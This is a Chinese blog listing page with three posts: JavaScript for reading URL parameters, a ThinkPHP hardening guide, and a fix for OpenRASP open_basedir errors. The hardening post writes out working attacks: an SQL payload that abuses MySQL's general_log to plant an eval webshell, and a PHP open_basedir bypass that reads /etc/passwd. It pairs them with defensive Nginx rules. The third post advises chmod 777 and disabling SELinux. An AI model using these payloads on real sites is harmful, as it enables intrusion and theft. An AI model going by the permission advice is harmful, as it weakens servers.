在一个页面获取另外一个页面url传过来的参数,一开始很本能的想到了用 split("?")这样一步步的分解出需要的参数。后来想了一下,肯定会有更加简单的方法的!所以在网上找到了两个很又简单实用的方法,mark下方法一:正则分析法 functiongetQueryString(name) { varreg=newRegExp("(^|&)"+name+"=([^&]*)(&|$)","i"); varr=window.location.search.substr(1).match(reg); if(r!=null)returnunescape(r[2]);returnnull; }这样调用:alert(GetQueryString("参数名1"));alert(GetQueryString("参数名2"));alert(GetQueryString("参数名3"));方法二:<Script language="javascript">function GetRequest() { var url = location.search; //获取url中"?"符后的字串 var theRequest = new Object(); if (url.indexOf("?") != -1) { var str = url.substr(1); strs = str.split("&"); for(var i = 0; i < strs.length; i ++) { theRequest[strs[i].split("=")[0]]=unescape(strs[i].split("=")[1]); } } return theRequest;}</Script>这样调用:<Script language="javascript">varRequest=newObject();Request=GetRequest();var参数1,参数2,参数3,参数N;参数1=Request['参数1'];参数2=Request['参数2'];参数3=Request['参数3'];参数N=Request['参数N'];</Script>
2020年08月05日
973 阅读
0 评论
0 点赞
2020-07-23
ThinkPHP项目安全配置解决方案
前言: ThinkPHP MVC框架越来被开发者接受,众多的开发者选择了这个框架,也有很多的优秀项目使用的ThinkPHP框架。最近整理了一下ThinkPHP项目的一些安全配置。可能并不适用全部项目,大家可以适当的使用如下的安全配置。前置知识: web容器和各类组件的版本,这里使用的LNMP 的架构:Nginx1.19 Mysql 5.6 PHP7.4 Centos8.2,这里推荐是PHP的版本7.4一、ThinkPHP常见的被入侵方式ThinkPHP RCE案例分享:在某些ThinkPhp版本中只有开启了Debug才会导致命令执行的出现,例如拿ThinkPhp5.1.14举例获取网站的绝对路径等等敏感信息开启了Debug,执行exp2、通过log日志获取网站权限智宇发卡网举例此发卡网是可以访问runtime目录的,给大家看看目录他入口文件和runtime目录在同一个目录里面,他也没设置其他东西,所以可以直接访问runtime目录然后根据runtime目录的日志存储的格式runtime/log/年份月份/日.log来存储的,所以得到runtime/log/202007/22.log来获取网站日志,在遍历日志的时候在18号发现了管理员账号密码通过后台登录账号密码,通过代码审计发现存在一个比较鸡肋的Rce利用条件可以开启日志,或者支持into outfileGetShell1在审计的时候发现了数据库可以指定其他文件进行数据库恢复(恢复数据相当于执行SQL语句),下面是利用步骤1.下载网站备份文件2.修改SQL语句,添加漏洞利用代码3.在文件存储处添加.sql的后缀,然后在上传文件的地方上传.sql文件4.然后在恢复数据的时候指定这个.sql文件达到写shell的目的备份数据库下载后修改备份文件并修改文件漏洞利用代码(路径自己设置,后面的注释不可以删除)SET GLOBAL general_log = 'ON';SET GLOBAL general_log_file = 'C:\\wwwroot\\192.168.2.128\\wwwa.php';select '<?php eval($_POST[0]);?>';SET GLOBAL general_log_file = 'C:\\Temp\\a.txt';文件存储添加.sql后缀上传刚刚修改的.sql文件,例如此处在点击上传图片的时候,先抓包,添加一个.sql后缀的文件然后上传刚刚修改的sql文件,可以得到上传的路径恢复数据GetShell恢复成功后访问网站的wwwa.php,密码是0另外一个命令执行漏由于thinkphp框架开发,他存在Thinkphp的Rce漏洞,但是由于路由设置的原因,在进行Rce的时候他每次请求都会带有路由的子域名参数,例如可以看见他会带着当前的域名或者ip先传入该参数进行执行,所以导致很多函数无法使用,所以大部分函数无法使用,不过还是找到了system这个函数进行命令执行♡♡♡♡♡♡♡♡♡♡二、思考如何防御???2.1 配置防御log目录泄露 runtime目录下的文件是ThinkPhp运行时产生的文件,里面包括了日志,缓存,等等的信息,如果可以访问会导致如下危害:可以看见管理员和其他用户的登录日志,会记录明文账号和密码在某些版本可以通过缓存来进行代码执行修复方法伪静态中添加location ~* (runtime/|Application/){ return 403;}2.2 ThinkPHP安全入口限制案例https://www.bt.cn/bbs/thread-52183-1-1.html修复方法location ~ ^/index.php{ include enable-php-70.conf; }location ~* \.(php){ deny all;}2.3 使用Nginx防火墙默认拦截日志防御和ThinkPHP RCE攻击如下:发起ThinkPHP RCE 请求被拦截2.3 使用堡塔PHP安全防护防跨站的危害性作用当服务器中有多个网站时这个设置就非常有用,如果服务器中的某个网站被攻击了,可以避免其他网站也沦陷案例例如,如下服务器当该服务器的的192.168.2.128站点被入侵的时候,如果没有设置防跨站他是可以访问其他的网站的内容的如果设置了防跨站的话,是可以防止这种事情发生的以看到访问错误,不过单纯使用open_basedir是有被绕过的风险,上传一个带有如下内容的php文件<?php $a='chdir';$b='ini_set';mkdir('mi1k7ea');$a('mi1k7ea');$b('open_basedir','..');$a('..');$a('..');$a('..');$a('..');$b('open_basedir','/');echo file_get_contents('/etc/passwd');访问该php文件,可以成功获取到/etc/passwd文件里面的内容安装堡塔php安全防护后,进行设置具体使用说明https://www.bt.cn/bbs/forum.php?mod=viewthread&tid=49256&highlight=%E5%A0%A1%E5%A1%94php开启堡塔php安全防护后,已经成功拦截2.4 使用企业级防篡改thinkphp中默认是两个目录是存在写入和删除的。一个是缓存目录cache 一个是上传目录upload(并不是全部都是通用的根据项目自身去写规则)。这里我使用的是智宇发卡的程序来做的测试智宇发卡这个程序就两个目录需要写入和删除。一个是runtime 目录和/static/upload 这两个目录需要写入。那么先把企业级防篡改的保护目录全部清空只留下这两个目录即可。测试一下效果<?php file_put_contents('aaa.php','aaa');测试为:写入不了文件2.5 webshell防御--OpenRasp webshell防御的话。这里使用的百度的Openrasp具体的使用教程https://www.bt.cn/bbs/thread-49371-1-1.html直接安装即可测试效果如下:使用方法,在该网站放了一个webshell执行php代码,被拦截成功被拦截三、ThinkPHP其他安全设置3.1 关闭debug在线上环境,开启Debug模式会导致如下危害泄露网站敏感信息在Thinkphp5.0.24版本开启Debug模式的时候,在特定情况下会导致mysql数据库账号密码泄露在某些Thinkphp版本要开启Debug模式才会导致代码执行漏洞一般配置文件项目地址中的/application/config.php 文件中3.2 设置日志输出日志文件他存储在runtime/log/下面,上面也有讲解案例和危害,如果我们可以输出日志的内容就可以避免一些攻击,一般的日志输出会输出大部分的敏感信息,就想上面一样,登录的账号密码都会被记录,如果我们只输出错误的信息,就可以避免上面的敏感信息泄露出去修复方法只输出错误的日志或者直接关闭日志的输出四、其他安全设置1、服务器密码和网站密码全部分开2、数据库密码和网站密码。和FTP密码全部独立3、密码建议为md5的随机强密码这样减少被爆破的风险五、总结Thinkphp的MVC的单一入口的解决方案可以解决掉很多的一些安全问题。但是还是需要配合一些安全产品来更多的安全风险后续我们会持续更新更多的项目的安全策略。敬请期待如果此文章对你有帮助请转发至朋友圈中让更多人能学习
2020年07月23日
1,042 阅读
0 评论
0 点赞
2020-07-18
有关宝塔安装OpenRASP后网站有提提示/tmp/:/proc/出错
这段时间发现网站有时会提示图片的错误,但是一刷新面页,错误就没有了。scandir(:open basedir restriction in effect File(/opt/rasp php73/logs/plugin/plugin. log. 2020-06-18)is not within the allowed path(s) (/xxxx/xxxx/www_mxlog_com/:/tmp/:/proc/) 这样的情况下,是因为网站下有.user.ini文件,所以要比较注意open_base的设置,比如宝塔部署的话,是每个网站独立的open_base,一般是在网站根目录下的.user.ini,FTP里是看不到这个文件的,要做一些设置才行,所以需要在SSH远程登陆,后用ls -a才能看到,由于限制了权限需要用chattr解除权限。 chattr -i .user.ini vi .user.ini open_basedir=/www网站目录路径/:/tmp/:/proc/ 在后面追加 :/opt/rasp_php73/logs 要这里要特别说明一下哦,,如果是多版本的话,/opt/rsap/logs这里要看回你自己网站的设定的哦。。不过,最好要检查 logs 目录是否有写权限 如果没有权限,可以执行 chmod 777 /opt/rasp/logs 增加权限 检查 SELinux 是否开启,可以执行 setenforce 0 关闭 检查 php error_log 是否有 OpenRASP 相关的错误日志有没有配置 如果没有配置过,请在 php.ini 里开启,e.g error_log = /tmp/php_error.log 检查 php open_basedir 是否关闭(或者将 /opt/rasp 加入到允许的路径里) 我们的 alarm 日志使用 PHP stream 写入,会受到这个配置的影响,e.g PHP Warning: scandir(): open_basedir restriction in effect. File(/www/rasp/logs/alarm/...... 本文来自:小新Blog,原地址:https://mxlog.com/fenxiang/1543.html
2020年07月18日
1,116 阅读
0 评论
0 点赞
1
2
3
4